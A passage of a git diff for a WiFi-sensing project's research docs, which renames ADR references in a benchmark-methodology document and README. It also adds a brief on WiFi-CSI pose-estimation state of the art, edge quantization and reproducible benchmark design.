-| `swarm_bench.rs` | ruview-swarm | `marl_actor_inference`, `rrt_apf_100iter`, `multiview_fusion_3drones`, `demo_coverage_estimate`, `ppo_update_64transitions` | ADR-148 swarm control-loop compute | Measured: **3.3 µs / 43 µs / 54–58.5 ns / 100 ps / 248 µs** (ADR-149 §4.3; `CHANGELOG.md` Performance section) |
+| `swarm_bench.rs` | ruview-swarm | `marl_actor_inference`, `rrt_apf_100iter`, `multiview_fusion_3drones`, `demo_coverage_estimate`, `ppo_update_64transitions` | ADR-148 swarm control-loop compute | Measured: **3.3 µs / 43 µs / 54–58.5 ns / 100 ps / 248 µs** (ADR-171 §4.3; `CHANGELOG.md` Performance section) |
 | `pipeline_throughput.rs` | nvsim | `pipeline_run` (sample-count sweep), `witness::run` vs `run_with_witness` | NV-diamond sim throughput + witness overhead | Acceptance: **≥1 kHz** simulated samples/s on Cortex-A53-class CPU — bench header |
 | `state_machine.rs` | homecore | `set` first/warm/no-op, `get` hit/miss, `all_snapshot`, `all_by_domain_light_20_of_100`, `broadcast_fan_out` | HOMECORE state-machine hot paths | no recorded baseline |
 
@@ -109,7 +109,7 @@ file itself); its producer must be identified and committed (§5.3). Summary val
 | `person_count_changes` | 10 |
 
 Criterion latencies that *have* been recorded live in ADR documents instead
-(ADR-147-benchmark-proof.md, ADR-149 §4.3, CHANGELOG Performance) — §5 below defines
+(ADR-168-benchmark-proof.md, ADR-171 §4.3, CHANGELOG Performance) — §5 below defines
 how to consolidate them into a real machine-readable criterion baseline.
 
 ### 1.4 L3 — Dataset-level accuracy evaluation
@@ -150,7 +150,7 @@ how to consolidate them into a real machine-readable criterion baseline.
 ### 1.6 L5 — Field trials
 
 Live multi-node sessions captured as JSONL/JSON with summary statistics —
-`benchmark_baseline.json` (§1.3) is the existing exemplar. ADR-149 §6 adds the seeded
+`benchmark_baseline.json` (§1.3) is the existing exemplar. ADR-171 §6 adds the seeded
 `evals/` episode harness (Stage 1 kinematic full-matrix, Stage 2 Gazebo/PX4 SITL on the
 3 median seeds) for the swarm domain.
 
@@ -168,42 +168,42 @@ statistical procedure of §3 followed. Current axes with measured status:
 | Edge efficiency frontier | torso-PCK@20 at deployed precision + params + batch-1 latency | same | MultiFormer 72.25% at full size | Pareto-dominance: smaller **and** above 72.25% at the deployed precision | int8 73.5 KB **74.70%**; int4-QAT 36.7 KB **74.46%**; shipped int4 verified **74.08%**, 0.135 ms 1-thread x86 (same file) |
 | Cross-subject generalization | torso-PCK@20, official MM-Fi cross-subject split (256,608 train / 64,152 test) | leakage-free split | own zero-shot baseline 63.99% | ADR-150 §4 gate: **+≥6 pts cross-subject without losing >2 pts random-split** | Best zero-shot **64.92%** (mixup+TTA+3-seed); gate judged unreachable without new capture (ADR-150 §3.2) |
 | Few-shot calibration (deployment) | PCK@20 after K labeled in-room samples; adapter size | MM-Fi cross-subject & cross-environment splits | zero-shot (64% / 10.6%) | SOTA-level (≳72%) from ≤200 samples with ≤~11 KB per-room adapter | cross-subject ~**72%** @100–200 samples (3 seeds); cross-env **10.6→73.1%** @200, 60.1% @5 (ADR-150 §3.5–3.6) |
-| Swarm SAR localization | CEP50/CEP95 (m), GDOP-stratified | seeded episode distribution (ADR-149 §6), not single geometry | Wi2SAR **5 m** (arxiv 2604.09115, paper-to-paper) | CEP50 < 5 m, IQM over ≥10 seeds, 95% CI excluding 5 m | 1.732 m single synthetic geometry — graded **Low–Medium**, not yet claimable (ADR-149 §7) |
-| Swarm coverage | coverage-rate@240 s; time-to-95% | episode rollouts | Wi2SAR 160k m²/13.5 min | rollout (not analytic) mean+CI beating baseline | 223 s is an analytic estimate — graded **Low** (ADR-149 §7) |
-| Control-loop latency | criterion wall-clock | local hardware, named | 10 ms / 100 Hz budget | all stages ≪ budget | 3.3 µs MARL / 43 µs RRT-APF / 54 ns fusion / 248 µs PPO (ADR-149 §4.3) |
-| World-model trajectory | MDE (m) at 5-frame horizon | RuView CSI-derived occupancy | pre-fine-tune random-weight baseline 9.49 m MDE | **≤1.0 m (2.0 vox)** at 5-frame horizon (ADR-147 §5 target, cited in benchmark-proof §4) | 9.49 m / FDE 16.23 m random weights; 208.45 ms median latency on real CSI (ADR-147-benchmark-proof §4, §7) |
+| Swarm SAR localization | CEP50/CEP95 (m), GDOP-stratified | seeded episode distribution (ADR-171 §6), not single geometry | Wi2SAR **5 m** (arxiv 2604.09115, paper-to-paper) | CEP50 < 5 m, IQM over ≥10 seeds, 95% CI excluding 5 m | 1.732 m single synthetic geometry — graded **Low–Medium**, not yet claimable (ADR-171 §7) |
+| Swarm coverage | coverage-rate@240 s; time-to-95% | episode rollouts | Wi2SAR 160k m²/13.5 min | rollout (not analytic) mean+CI beating baseline | 223 s is an analytic estimate — graded **Low** (ADR-171 §7) |
+| Control-loop latency | criterion wall-clock | local hardware, named | 10 ms / 100 Hz budget | all stages ≪ budget | 3.3 µs MARL / 43 µs RRT-APF / 54 ns fusion / 248 µs PPO (ADR-171 §4.3) |
+| World-model trajectory | MDE (m) at 5-frame horizon | RuView CSI-derived occupancy | pre-fine-tune random-weight baseline 9.49 m MDE | **≤1.0 m (2.0 vox)** at 5-frame horizon (ADR-147 §5 target, cited in benchmark-proof §4) | 9.49 m / FDE 16.23 m random weights; 208.45 ms median latency on real CSI (ADR-168-benchmark-proof §4, §7) |
 | Privacy leakage | MIA `leakage_score = 2·(AUC−0.5)` | fixed replay, fixed-seed shadow classifier | chance (0) | ≤ **0.05** (attacker AUC ≤ 0.525) | gate defined, harness built (ADR-145 §2.3) |
 | Vitals (hardware) | BPM error vs wearable ground truth | live A/B board protocol | control board behavior | within physiological agreement of ground truth, stable spread | 88–91 BPM vs 87 GT, spread 59→0 (CHANGELOG #987) |
 
-### Claim-language discipline (from ADR-149 §7 grading)
+### Claim-language discipline (from ADR-171 §7 grading)
 
 | Evidence | Permitted language |
 |---|---|
 | Single run / single geometry / analytic estimate | "directional", never "beats SOTA" |
 | Seeded multi-run with CIs vs paper baseline | "exceeds the published X result paper-to-paper" |
 | Same metric, same split, same protocol, CI excludes baseline | "beyond SOTA on <dataset>/<split>" |
-| No public leaderboard exists (swarm CSI-SAR) | never claim "leaderboard standing" (ADR-149 §3) |
+| No public leaderboard exists (swarm CSI-SAR) | never claim "leaderboard standing" (ADR-171 §3) |
 
 ---
 
 ## 3. Statistical Procedure for Honest Claims
 
-Adopted from ADR-149 §5 (Agarwal 2021 / Gorsane 2022 standard) and the practices
+Adopted from ADR-171 §5 (Agarwal 2021 / Gorsane 2022 standard) and the practices
 already used in ADR-150/efficiency-frontier measurements:
 
-1. **Seeds.** ≥10 independent seeds for RL/episodic claims (ADR-149 §5); ≥3 seeds
+1. **Seeds.** ≥10 independent seeds for RL/episodic claims (ADR-171 §5); ≥3 seeds
    minimum for supervised dataset evals (ADR-150 §3.5 used 3 seeds; report all).
    Training seeds, eval seeds, and split files are versioned and committed.
 2. **Aggregate.** IQM (not mean/median) for episodic metrics + performance profiles;
    for dataset accuracy report mean across seeds with each seed's value listed.
-3. **Confidence intervals.** 95% stratified bootstrap, 1,000 resamples (ADR-149 §5;
+3. **Confidence intervals.** 95% stratified bootstrap, 1,000 resamples (ADR-171 §5;
    reference impl: `rliable`).
 4. **Paired comparisons.** When comparing model A vs B (e.g. `csi_plus_cir` vs
    `csi_only`, or ours vs a reproduced baseline), evaluate both on the **identical
    frozen test frames** and use a paired bootstrap over per-sample correctness
    (PCK hit/miss is per-joint binary — pair at the joint-sample level). For
    paper-to-paper comparisons where the baseline cannot be re-run, state so
-   explicitly ("paper-to-paper", ADR-149 §2) and require the CI lower bound to clear
+   explicitly ("paper-to-paper", ADR-171 §2) and require the CI lower bound to clear
    the published point value.
 5. **Pre-registration.** The threshold lives in an ADR **before** the run
    (precedent: ADR-150 §4 gate written before §3.2 measurements; the measurements
@@ -212,9 +212,9 @@ already used in ADR-150/efficiency-frontier measurements:
    capacity-hurts, and KD-didn't-help results in the record — required practice.
 7. **Eval episodes (swarm):** 50 fixed, versioned episodes per policy
    (10 victim layouts × 5 CSI-noise levels), ≥3 baselines (random walk,
-   boustrophedon+triangulation, IPPO) (ADR-149 §5).
+   boustrophedon+triangulation, IPPO) (ADR-171 §5).
 8. **GDOP stratification** for any localization claim, so geometry artifacts cannot
-   produce the headline (ADR-149 §6.3).
+   produce the headline (ADR-171 §6.3).
 
 ---
 
@@ -230,7 +230,7 @@ already used in ADR-150/efficiency-frontier measurements:
 
 ### 4.2 Criterion baseline file (replaces the current gap)
 
-Today criterion numbers live in prose (ADR-147-benchmark-proof, ADR-149 §4.3,
+Today criterion numbers live in prose (ADR-168-benchmark-proof, ADR-171 §4.3,
 CHANGELOG). Formalize:
 
 1. `cargo bench --workspace -- --save-baseline main` on a **named, fixed runner**
@@ -293,7 +293,7 @@ Anyone outside the project must be able to re-run every claimed result:
    (`calibration_proof_runner.rs` pattern, ADR-145 §2.6) for libm portability.
 3. **Seeds are constants, committed:** `PROOF_SEED=42`, `MODEL_SEED=0`
    (`proof.rs`, ADR-015 Phase 5); dataset splits committed as `.npy`
-   (`split_random.npy`); swarm configs as versioned YAML with all seeds (ADR-149 §5).
+   (`split_random.npy`); swarm configs as versioned YAML with all seeds (ADR-171 §5).
 4. **Artifacts carry hashes.** Published model artifacts include SHA-256 (HuggingFace
    `pose_micro_int4.npz`, sha256 `c03eeb…` — efficiency-frontier doc); witness bundle
    has a `MANIFEST.sha256` over every file; provenance fields
@@ -318,9 +318,9 @@ Anyone outside the project must be able to re-run every claimed result:
 | 1 | **Subject leakage / split optimism.** In-domain `random_split` has temporal/subject-adjacency effects; the same model family scores 83.6% random-split but ~11.6% torso-PCK on the leakage-free cross-subject split | efficiency-frontier "Controlled claim" footnote; ADR-150 §1, §3.2 | Always report the split name; publish random-split and cross-subject numbers side by side; cross-subject claims only on the official split |
 | 2 | **Per-environment overfitting.** Zero-shot cross-environment collapses to 10.6%; subject-scaling saturates ~63.7% past 16–20 subjects because the residual is room/device shift | ADR-150 §3.3, §3.6 | Cross-room degradation + 17-joint heatmap in every ablation (ADR-145 §2.5); claim deployment accuracy only with the calibration protocol stated (K samples, adapter size) |
 | 3 | **Mock-mode contamination.** Mock firmware missed a real Kconfig threshold bug; the nn crate ships a `mock_inference` criterion group that must never be quoted as pipeline performance | `CLAUDE.md` firmware rule 7; `inference_bench.rs` `bench_mock_inference` | L4 mandatory before firmware release ("Always test with real WiFi CSI, not mock mode"); label mock benches in reports; ADR-147 §7 re-ran the benchmark on real CSI explicitly "no mocks" |
-| 4 | **Single-run point estimates.** 1.732 m localization from one synthetic geometry; 223 s coverage from an analytic formula | ADR-149 §1, §7 | §3 seed/CI protocol; evidence-grade table before publication |
-| 5 | **Random-weight / untrained baselines read as results.** OccWorld MDE 9.49 m is a pre-fine-tuning random-weight reading | ADR-147-benchmark-proof §4 | Label baseline-vs-target explicitly; never aggregate untrained-model numbers into capability claims |
-| 6 | **Latency conflated with quality.** Criterion µs numbers prove no compute bottleneck, nothing about accuracy | ADR-149 §2, §4.3 | L2 is gate-only; quality claims live in L3+ |
+| 4 | **Single-run point estimates.** 1.732 m localization from one synthetic geometry; 223 s coverage from an analytic formula | ADR-171 §1, §7 | §3 seed/CI protocol; evidence-grade table before publication |
+| 5 | **Random-weight / untrained baselines read as results.** OccWorld MDE 9.49 m is a pre-fine-tuning random-weight reading | ADR-168-benchmark-proof §4 | Label baseline-vs-target explicitly; never aggregate untrained-model numbers into capability claims |
+| 6 | **Latency conflated with quality.** Criterion µs numbers prove no compute bottleneck, nothing about accuracy | ADR-171 §2, §4.3 | L2 is gate-only; quality claims live in L3+ |
 | 7 | **Floating-point nondeterminism breaking proofs.** SciPy FFT SIMD reordering + multithreaded BLAS produced different hashes across CI microarchitectures | CHANGELOG #560; `calibration_proof_runner.rs` lines 1–13 (cited in ADR-145 §2.3) | Quantize before hashing; pin thread env vars; exclude wall-clock from hashes |
 | 8 | **Hash churn without procedure.** Three distinct historical values of the proof hash exist (`8c0680d7…` ADR-028, `667eb054…` CHANGELOG #560, `f8e76f21…` current file) | cited files | Every regeneration via `--generate-hash` + re-verify + CHANGELOG entry + witness bundle refresh |
 | 9 | **Aggregation bugs masking accuracy.** Person count clamped to 1 by EMA mapping; eigenvalue path leaking counts up to 10; both invisible to unit tests for months | CHANGELOG #803, #894 | L5 summary gates on `person_count_changes`/count distributions; convergence tests replaying the live loop |
@@ -336,7 +336,7 @@ Anyone outside the project must be able to re-run every claimed result:
 | Machine-readable criterion baseline (`v2/benchmarks/criterion-baseline.json`) + CI comparison job | L2 | §4.2 (numbers currently only in ADR prose) |
 | Provenance + producer script for `benchmark_baseline.json`; soft-gate job | L5 | §1.3, §4.3 (zero code references today) |
 | `ruview-cli --ablation mode=auto` wiring + `expected_ablation_<slug>.sha256` (currently placeholders → exit 2) | L3 | ADR-145 implementation status |
-| Seeded swarm `evals/` harness + `evals/RESULTS.md` internal leaderboard | L3/L5 | ADR-149 §6, §8 open issues |
+| Seeded swarm `evals/` harness + `evals/RESULTS.md` internal leaderboard | L3/L5 | ADR-171 §6, §8 open issues |
 | Fix `VERIFY.sh` hardcoded verdict count; reconcile `CLAUDE.md` "7/7" | L1 | §1.2 |
 | Curated paired room-A/room-B labeled replay set (frozen, SHA-pinned, never trained on) | L3 | ADR-145 §3.2 |
 | ARM/edge on-device latency validation for the int4 model (x86-only today) | L4 | efficiency-frontier doc ("Pi fleet pending") |
@@ -372,8 +372,8 @@ failing test, not a slogan.
 ---
 
 *All values cited from: `benchmark_baseline.json`, `v2/crates/*/benches/*.rs` (15
-files), `docs/adr/ADR-147-benchmark-proof.md`,
-`docs/adr/ADR-149-swarm-benchmarking-evaluation-methodology.md`,
+files), `docs/adr/ADR-168-benchmark-proof.md`,
+`docs/adr/ADR-171-swarm-benchmarking-evaluation-methodology.md`,
 `docs/adr/ADR-145-ablation-eval-harness-privacy-leakage.md`,
 `docs/adr/ADR-028-esp32-capability-audit.md`,
 `docs/adr/ADR-015-public-dataset-training-strategy.md`,

docs/research/ruview-beyond-sota/README.md

@@ -15,7 +15,7 @@ validation pass run against the working tree.
 | [00-system-review.md](00-system-review.md) | Capability audit of the current engine | Signal layer is the deepest asset (`ruvsense/` ≈14.4k lines, 310 in-module tests); the model tier is the emptiest (no trained checkpoint in-tree); the live 20 Hz path is the main integration gap |
 | [01-sota-landscape-2026.md](01-sota-landscape-2026.md) | Published SOTA per capability axis (web-verified) | Defines the beyond-SOTA bar: 12-row capability → published SOTA → RuView-today → target table; IEEE 802.11bf-2025 is ratified and moves the moat up-stack |
 | [02-beyond-sota-architecture.md](02-beyond-sota-architecture.md) | Target architecture | 8 pillars (RF foundation encoder + UQ heads, differentiable RF forward model, RF-SLAM×WorldGraph loop, camera→RF distillation, swarm apertures, continual adaptation, deterministic WASM edge, NV fusion) — all landing inside existing crates, no rewrite (per ADR-136 §2.1) |
-| [03-benchmark-validation-methodology.md](03-benchmark-validation-methodology.md) | Test/validation/benchmark methodology | 6-layer validation pyramid; 15 criterion bench targets inventoried; `benchmark_baseline.json` is a live-capture anchor, not a criterion baseline; statistical protocol from ADR-149 (≥10 seeds, IQM, bootstrap CIs) |
+| [03-benchmark-validation-methodology.md](03-benchmark-validation-methodology.md) | Test/validation/benchmark methodology | 6-layer validation pyramid; 15 criterion bench targets inventoried; `benchmark_baseline.json` is a live-capture anchor, not a criterion baseline; statistical protocol from ADR-171 (≥10 seeds, IQM, bootstrap CIs) |
 | [04-optimization-roadmap.md](04-optimization-roadmap.md) | Performance review + 90-day plan | ISTA CIR solver is the dominant latency hazard (~1.1 GFLOP/frame at HE40); exact zero-risk wins identified; WorldGraph grows unboundedly (no eviction) — a real bug-class |
 
 ## Validation results (this session, 2026-06-09)
@@ -83,7 +83,7 @@ Correctness post-optimization: `wifi-densepose-signal` 456 tests green;
 
 1. **"Beyond SOTA" is currently unfalsifiable** without a real-CSI
    ground-truth benchmark — standing one up (per doc 03's acceptance table
-   and ADR-149's statistical protocol) is the highest-leverage next step.
+   and ADR-171's statistical protocol) is the highest-leverage next step.
 2. **The path is evolution, not rewrite**: all eight architecture pillars in
    doc 02 land inside existing crates on the ADR-136 `Stage<I,O>`/`FrameMeta`
    contract spine.

docs/research/sota-nn-train-benchmark-brief.md

@@ -0,0 +1,147 @@
+# SOTA Evidence Brief — `wifi-densepose-nn` / `wifi-densepose-train` Benchmark ADR Seed
+
+| Field | Value |
+|-------|-------|
+| **Date** | 2026-06-14 |
+| **Author** | deep-research (Opus) |
+| **Purpose** | Seed a future benchmark/optimization ADR for the NN-inference (`wifi-densepose-nn`) and training (`wifi-densepose-train`) crates |
+| **Scope** | The DELTA beyond what ADR-152 / ADR-150 / ADR-015 already establish — current published WiFi-CSI pose SOTA, winning architectures, edge-quantization SOTA, and a defensible benchmark-suite design |
+| **Ethos** | Every claim graded PEER-REVIEWED / PREPRINT / VENDOR-CLAIM / BLOG, with MEASURED-on-public-benchmark distinguished from marketing. Numbers that could not be verified are flagged. No fabricated citations. |
+
+> **Citation discipline carried in from ADR-152 §2.2:** preprint accuracy numbers are CLAIMED until reproduced on our hardware. The project has already retracted its own "92.9% PCK@20" and "shipped-WiFlow-STD 97.25%" figures after measurement; this brief inherits that bar.
+
+---
+
+## 1. Executive summary
+
+**Where the project stands vs the 2026 frontier.** The repo is, by the evidence already in-tree, *ahead of most academic groups on benchmark hygiene* and roughly *at parity on capability* — but the two are measured on incompatible yardsticks, which is the single biggest risk to any "beyond-SOTA" claim.
+
+- The project's headline reproductions (`benchmarks/wiflow-std/RESULTS.md`) are MEASURED and rigorous: WiFlow-STD retrained to **96.09–96.61% PCK@20** on the authors' own 360k-window 2D dataset (RTX 5080), shipped checkpoint REFUTED, dataset/code defects documented. This is a genuinely strong, reproducible result.
+- **But that number is not on a standard public benchmark.** WiFlow-STD's dataset is self-collected (5 subjects, 15 keypoints, 2D, in-domain random split, hardware unspecified). The academic frontier on the *standard* public 3D benchmark (MM-Fi) reports **PCK@20 ≈ 61% / MPJPE ≈ 161 mm random-split** (GraphPose-Fi, Nov 2025) — a *harder* metric (3D, mm-scale, standard PCK normalization). The project's own AetherArena MM-Fi number (**81.63% torso-PCK@20 in-domain**, ADR-150) uses a *torso-normalized PCK* that is looser than GraphPose-Fi's standard PCK, so the three numbers (96% / 81.6% / 61%) **cannot be lined up** without a unified harness. Making them comparable IS the highest-value work item.
+- The deployment frontier — **cross-subject / cross-environment generalization** — is where everyone collapses, the project included (ADR-150: 81.63% in-domain → ~11.6% leakage-free cross-subject). GraphPose-Fi independently confirms the cliff (61.1% random → 12.9% cross-environment PCK@20). This is the real research target, not in-domain PCK.
+
+**Top 3 highest-value optimization/benchmark targets:**
+
+1. **A unified, metric-locked accuracy harness in `wifi-densepose-train`** that scores any model under *one* explicit PCK definition (normalization, keypoint convention, split) so WiFlow-STD-repro, AetherArena/MM-Fi, and GraphPose-Fi numbers become directly comparable. Without this, no "beyond-SOTA" claim survives the "prove it" bar — the project has already been burned twice by metric ambiguity (the retracted 92.9% used absolute, not torso-normalized, PCK).
+2. **A QAT path for the WiFlow-STD-class edge model.** The in-tree edge work (`RESULTS.md`) has *fully characterized PTQ* (static QDQ conv-only is the int8 sweet spot; dynamic int8 is a no-op on this all-conv architecture) and found the **half model (843k params) strictly dominates the published 2.23M** and **tiny (56k, 295 KB ONNX fp32) holds 94.1% PCK@20**. The one untested lever is **quantization-aware training**, which the general literature says recovers most of the PTQ accuracy gap. That is the next defensible edge win.
+3. **Criterion-backed regression benches wired into CI** for the real Candle/ONNX forward path. The benches *exist* (`wifi-densepose-nn/benches/{inference,onnx,native_conv}_bench.rs`, `wifi-densepose-train/benches/training_bench.rs`) and `benchmarks/edge-latency/RESULTS.md` shows the methodology is sound (host≠ESP32 caveat made explicit). The gap is turning point-in-time captures into committed regression baselines.
+
+---
+
+## 2. Findings per research question
+
+### RQ1 — Latest WiFi-CSI pose SOTA (2024–2026): published PCK@20 / MPJPE on the standard public benchmarks
+
+The crucial framing: **"WiFi pose SOTA" splits into two non-comparable tracks** — 3D pose on MM-Fi/Person-in-WiFi-3D (mm-scale MPJPE, standard PCK) vs 2D pose on self-collected sets (image-normalized PCK). The project's flagship reproduction lives in the second track; the academic frontier lives in the first.
+
+| Method | Venue / Year | Benchmark + split | PCK@20 | MPJPE | Grade |
+|---|---|---|---|---|---|
+| **GraphPose-Fi** (arXiv [2511.19105](https://arxiv.org/abs/2511.19105)) | PREPRINT, Nov 2025 | MM-Fi P1, **random split** | **61.1%** | **160.6 mm** (PA-MPJPE 105.0) | numbers MEASURED-in-study (preprint); beats MetaFi++, HPE-Li, DT-Pose |
+| GraphPose-Fi | same | MM-Fi P1, **cross-subject** | 44.2% | 210.5 mm | same |
+| GraphPose-Fi | same | MM-Fi P1, **cross-environment** | 12.9% | 302.7 mm | same — the generalization cliff |
+| **DT-Pose** (arXiv [2501.09411](https://arxiv.org/abs/2501.09411)) | PREPRINT (ICLR'25 OpenReview [aPnLQ6WfQQ](https://openreview.net/forum?id=aPnLQ6WfQQ)), Jan 2025; code [cseeyangchen/DT-Pose](https://github.com/cseeyangchen/DT-Pose) | MM-Fi (domain-gap + topology focus) | not cleanly extractable from abstract | reports MPJPE; self-supervised masked pretrain + topology decode | numbers NOT verified at exact-table level here — flagged |
+| **Person-in-WiFi-3D** (CVPR 2024, [openaccess](https://openaccess.thecvf.com/content/CVPR2024/html/Yan_Person-in-WiFi_3D_End-to-End_Multi-Person_3D_Pose_Estimation_with_Wi-Fi_CVPR_2024_paper.html)) | **PEER-REVIEWED**, CVPR 2024 | own 97k-frame multi-person set | — (multi-person, not single-PCK) | **91.7 mm (1p) / 108.1 (2p) / 125.3 (3p)** 3D joint error | MEASURED (peer-reviewed); own dataset, not MM-Fi |
+| **WiFlow-STD** (arXiv [2602.08661](https://arxiv.org/abs/2602.08661), [DY2434 repo](https://github.com/DY2434/WiFlow-WiFi-Pose-Estimation-with-Spatio-Temporal-Decoupling)) | PREPRINT, Apr 2026 | self-collected, 5-subj, **2D, in-domain random** | 97.25% (claimed) | 0.007 m (image-norm) | claimed CLAIMED; **project reproduced 96.09–96.61% (MEASURED, RTX 5080)** after repairing dataset/code |
+| **PerceptAlign** (arXiv [2601.12252](https://arxiv.org/abs/2601.12252)) | PREPRINT + MobiCom'26 acceptance | own 7-layout cross-domain 3D set | — | 222.4 mm (Scene4) / 317.1 (Scene5), claims −54% cross-env vs SOTA | CLAIMED (preprint); failure mode corroborated |
+| **Project AetherArena** (ADR-150, [issue #876](https://github.com/ruvnet/RuView/issues/876)) | internal | MM-Fi, **random split**, **torso-PCK** | **81.63% torso-PCK@20** | — | MEASURED-internal; **torso-PCK ≠ GraphPose-Fi standard PCK** |
+| **Project WiFlow-STD repro** (`benchmarks/wiflow-std/RESULTS.md`) | internal | their data, their split | **96.09–96.61%** | 0.0094–0.0098 m | MEASURED-internal (RTX 5080) |
+
+**How the project's ~96% compares to the frontier:** It is *not directly comparable*. The 96% is on an easier task (2D, in-domain, image-normalized PCK, single-environment, 5 subjects) than GraphPose-Fi's 61.1% (3D, standard PCK, mm-scale). The project's own MM-Fi-track number (81.63% torso-PCK@20) *appears* to beat GraphPose-Fi's 61.1%, **but only because torso-PCK is a looser normalization** — the project explicitly flags this (ADR-150 cites beating "MultiFormer's 72.25%" under the *same* torso metric, not GraphPose-Fi's). The honest statement: **the project is competitive on in-domain MM-Fi under its own torso metric, and collapses cross-subject exactly as the published frontier does.** No public number lets the project claim "beyond-SOTA" today.
+
+### RQ2 — What's winning architecturally now (2025–2026)
+
+The clear trend across the verified 2025–2026 papers:
+
+- **Graph / skeleton-aware decoders are the current academic SOTA on MM-Fi.** GraphPose-Fi (PREPRINT, Nov 2025) wins by injecting anatomical graph structure into the decoder — exactly the `GraphPose-Fi-style skeleton-aware graph head` ADR-150 §2.2 already names as the planned decoder. *The project's architecture direction matches the frontier.*
+- **Self-supervised masked pretraining (MAE) is the cross-domain lever, not capacity.** UNSW MAE study (arXiv [2511.18792](https://arxiv.org/abs/2511.18792), PREPRINT, Nov 2025): cross-domain gains scale **log-linearly with pretraining data, unsaturated at 1.3M samples**; ViT-Base adds only 0.4–0.9% over ViT-Small. Recipe: **80% masking, (30,3) small patches**. DT-Pose (arXiv 2501.09411) independently uses masked pretraining + topology constraints for the domain gap. *Caveat (MEASURED in ADR-152 §2.3): UNSW's downstream tasks are classification, not pose — pose transfer remains a hypothesis. The project's own measurement (b) found WiFlow-STD pretrained features give optimization transfer but NOT feature transfer to ESP32 CSI.*
+- **Spatio-temporal decoupling is the efficiency lever.** WiFlow-STD's whole contribution is decoupling spatial and temporal CSI processing to hit 2.23M params. The project verified the params/FLOPs (MEASURED) and then **beat it**: the half-model (843k) matches accuracy with 0.38× params (`RESULTS.md` efficiency sweep).
+- **Geometry/layout conditioning is the cross-layout lever.** PerceptAlign (MobiCom'26): fusing transceiver-position embeddings + two-checkerboard calibration, claimed −60% cross-domain. ADR-152 §2.1 already adopted this (`NodeGeometry`, geometry embeddings).
+- **NOT winning / absent:** diffusion models for CSI pose did not surface in the verified frontier. Full DensePose-UV regression from commodity WiFi remains undemonstrated (ADR-152 F5, MEASURED by full-text screening). No 2025–2026 paper was found that *beats the project's current direction* — the project is tracking, not trailing, the architecture frontier.
+
+**Verdict RQ2:** the winning stack (MAE pretrain → graph/skeleton decoder → geometry conditioning, ViT-Small-class capacity) is *already the planned ADR-150/152 stack*. The gain available is not a new architecture; it's (a) more heterogeneous pretraining data and (b) honest cross-domain measurement.
+
+### RQ3 — Edge/quantized inference SOTA for small CSI pose models
+
+The in-tree edge work (`benchmarks/wiflow-std/RESULTS.md` "Edge optimization" + "Static PTQ" + "Efficiency sweep") is already at or beyond what the public literature offers for this specific model class, and is MEASURED. Key findings to carry forward:
+
+- **Dynamic INT8 is a trap on all-conv CSI models.** WiFlow-STD has **zero `nn.Linear` layers** (21 Conv1d + 22 Conv2d + BatchNorm). `torch.quantize_dynamic` quantizes 0% of params (dynamic int8 has no conv kernels). MEASURED.
+- **Static QDQ conv-only PTQ is the int8 sweet spot.** PCK@20 96.60–96.63% (vs fp32 96.68%, dynamic 96.52%), 2.53 MB. All-ops QDQ is strictly worse (−1.4 pt). MEASURED.
+- **ONNX Runtime fp32 is the real CPU latency win**: 3.2 ms/window batch-1 vs torch 11.0 ms (~3.4×) at parity (2.4e-7). int8 is ~2× *slower* than ONNX fp32 at batch-1 (ConvInteger kernels). MEASURED.
+- **Smaller-than-published dominates.** half (843k) ≥ full on accuracy; **tiny (56k, 295 KB ONNX fp32, 0.66 ms/win, 94.1% PCK@20)** is the smallest deployable artifact. At tiny scale int8 is a *bad* trade (−1.43 pt for −47 KB). MEASURED.
+- **General QAT-vs-PTQ context (BLOG/VENDOR):** [NVIDIA TensorRT QAT blog](https://developer.nvidia.com/blog/achieving-fp32-accuracy-for-int8-inference-using-quantization-aware-training-with-tensorrt/), [Ultralytics QAT glossary](https://www.ultralytics.com/glossary/quantization-aware-training-qat), [ONNX Runtime quantization docs](https://onnxruntime.ai/docs/performance/model-optimizations/quantization.html): QAT "almost always" recovers accuracy PTQ loses on sensitive models; ONNX Runtime does NOT retrain (QAT must happen in PyTorch, then export QDQ). The [Onboard Optimization survey, arXiv 2505.08793](https://arxiv.org/pdf/2505.08793) (PREPRINT) covers on-device optimization broadly. These are *general* claims, not CSI-pose-specific — grade accordingly.
+- **Hailo / Pi target (CLAUDE.local.md):** the 4× Pi+Hailo cluster (Hailo-8 @ 26 TOPS / Hailo-10 @ 40 TOPS) needs a **HEF** compile path, which is its own toolchain (not ONNX/Candle). No in-tree HEF benchmark exists yet — this is a genuine gap for the edge-inference claim.
+
+**Actionable for an inference-speed benchmark:** the honest comparand set is `{torch fp32, ONNX fp32, ONNX static-QDQ-conv-only int8, candle fp32}` × `{full, half, tiny}` on a fixed host, with the **host≠ESP32 / host≠Hailo caveat stated up front** (the `edge-latency/RESULTS.md` template already does this correctly). The one new datapoint worth producing: **QAT-int8 on the half model** to test whether QAT closes the PTQ −0.16 pt gap *and* keeps the size win.
+
+### RQ4 — Rigorous, reproducible benchmark methodology
+
+The repo already demonstrates the right methodology in three places — the ADR should codify it, not invent it:
+
+- **`benchmarks/wiflow-std/RESULTS.md`** — the gold standard already in-tree: pinned upstream commit, seed-42 file-level split documented, corruption masks committed as ground truth, every forced deviation recorded, mean-pose honesty baseline, MEASURED-vs-CLAIMED grading.
+- **`benchmarks/edge-latency/RESULTS.md`** — criterion 0.5, explicit host machine, low/median/high brackets, contention caveat, host≠ESP32 separation, steady-state-vs-cold-start distinction.
+- **Rust micro-bench:** criterion benches already exist in both crates (`wifi-densepose-nn/benches/`, `wifi-densepose-train/benches/`).
+
+What a credible "beyond-SOTA" claim requires (the bar that survives "prove it"):
+1. **One locked accuracy definition** — PCK normalization (torso vs absolute vs bbox), keypoint convention (15 vs 17 COCO), and split (random / cross-subject / cross-environment) declared *before* the run. The retracted 92.9% died exactly because PCK normalization was unstated.
+2. **A mean-pose / constant-output honesty baseline** on every split (already done in measurement (b) — a single-subject near-static set scored 95.9% torso-PCK@20 with a *constant* pose). Any claim must beat this.
+3. **MEASURED-vs-CLAIMED grading** per number, with the exact command and raw-JSON path committed.
+4. **Cross-domain, not just in-domain.** In-domain PCK is saturated and uninformative; the defensible claim is on cross-subject/cross-environment, where the frontier is 12–44% PCK@20.
+
+---
+
+## 3. Proposed benchmark-suite design
+
+A two-part suite (`wifi-densepose-train` accuracy harness + `wifi-densepose-nn` latency harness), both committing raw JSON + a graded RESULTS.md.
+
+### 3.1 Accuracy harness (`wifi-densepose-train`)
+
